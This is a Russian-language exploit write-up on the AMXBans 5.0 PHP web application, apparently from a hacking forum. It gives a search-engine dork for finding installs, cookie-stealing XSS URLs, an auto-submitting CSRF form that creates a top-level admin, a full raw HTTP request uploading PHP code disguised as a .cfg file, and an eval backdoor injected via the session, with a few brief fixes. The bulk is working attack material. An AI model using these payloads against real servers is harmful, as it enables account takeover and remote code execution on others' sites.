AMXBans 5.0 by YoMama/LuX & lantz69

Site: http://www.amxbans.net/
Dork: allinurl:ban_list.php amxbans
Папки доступные на запись:
include (скрипт сам создает конфиг, который располагается в этой папке)
smarty/templates_c (скомпиленные шаблоны смарти)
tmp (здесь сохраняются залитые на сервак списки банов)

XSS
/unavailable.php?message=%3Csсriрt%3Ealert(document.cookie)%3C/sсriрt%3E
Необходимо: register_globals = On

if ($_GET['msg'] == "frontend_disabled") {
$message = lang("_ERRORAMXBANSDISABLED");
} else if ($_GET['msg'] == "setupfile_exists") {
$message = lang("_ERRORSETUPPHP");
} else if ($_GET['msg'] == "magicquotes_off") {
$message = lang("_ERRORMAGICQUOTES");
}
//...
$smarty->assign("message",$message);

Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Csсriрt%3Ealert(document.cookie)%3C/sсriрt%3E

XSS (активная)
/login.php?uid=%3Csсriрt%3Ealert(/xss/)%3C/sсriрt%3E
/admin/log_search.php
Необходимо: register_globals = On

if(isset($_POST['uid'])){
$_POST['uid'] = secure($_POST['uid']);
}
//...
if (isset($_POST['uid'])) {
$uid = $_POST['uid'];
} else if ( isset($_SESSION['uid']) ){
$uid = $_SESSION['uid'];
}
//...
$add_log = mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error());

Метод устранения:
В начала файла include/functions.lang.php дописать
function regGlobOff($array) {
foreach($array as $k => $v) {
    unset($GLOBALS[$k]);
}
}
error_reporting(0);
regGlobOff($_POST);
regGlobOff($_GET);
regGlobOff($_COOKIE);

Path disclosure
Практически в каждом файле:
// Start session
session_start();

Вставляем в идентификатор сессии запрещенные символы и получаем

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /Library/WebServer/test/amxbans/ban_list.php on line 46

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46

Метод устранения:
В каждом скрипте перед session_start поставить оператор подавления ошибок @

CSRF
Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
<body onload="document.forms.admins.submit()">
<form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
<input type='hidden' name='sektion' value='webadmins'>
<input type='text' name='username' value="test">
<input type='text' name='password' value="test">
<input type='text' name='level' value='1'>
<input type='hidden' name='action' value="insert">
</form>

Метод устранения:
Добавить следующий код, например в include/accesscontrol.inc.php

if( $_SERVER['REQUEST_METHOD'] == 'POST')
if(!preg_match('!^http(s)?://' . preg_quote($_SERVER['HTTP_HOST']) . '!i', $_SERVER['HTTP_REFERER']))
    exit;

Заливка шелла
/admin/import_bans.php
Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
Пример:

$nc localhost 80
POST /amxbans/admin/import_bans.php HTTP/1.1
User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
Host: test
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://test/amxbans/admin/import_bans.php
Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
Cookie2: $Version=1
Connection: Close
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 566
Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS

-------VOiPkDnr0wuySS
Content-Disposition: form-data; name="submitted"

true
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
Content-Type: text/plain

<?php phpinfo(); ?>
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_reason"

------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_length"

------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="importit"

import
------------sLuN8T5jVOiPkDnr0wuySS--

Таблицы:
amx_admins_servers
amx_amxadmins
amx_banhistory
amx_banreasons
amx_bans
amx_levels
amx_logs
amx_serverinfo
amx_webadmins (id, username, password, level, logcode) //password = md5 хеш

Cookies:
Ставится 1 кука с именем amxbans. Ее содержимое: oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3Ac2b6a0f098280fc8f4795e33b58a77ed%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes
$cook    = explode(":", $_COOKIE["amxbans"]);
$uid    = $cook[0];
$pwd    = $cook[1];
$lvl    = $cook[2];
$uip    = $cook[3];
$logcode    = $cook[4];
$bans_add    = $cook[5];
$bans_edit    = $cook[6];
$bans_delete    = $cook[7];
$bans_unban    = $cook[8];
$bans_import    = $cook[9];
$bans_export    = $cook[10];
$amxadmins_view    = $cook[11];
$amxadmins_edit    = $cook[12];
$webadmins_view    = $cook[13];
$webadmins_edit    = $cook[14];
$permissions_edit = $cook[15];
$prune_db    = $cook[16];
$servers_edit    = $cook[17];
$ip_view    = $cook[18];

В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
Получим:

lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;

AMXBans работает только c magic_quotes = On !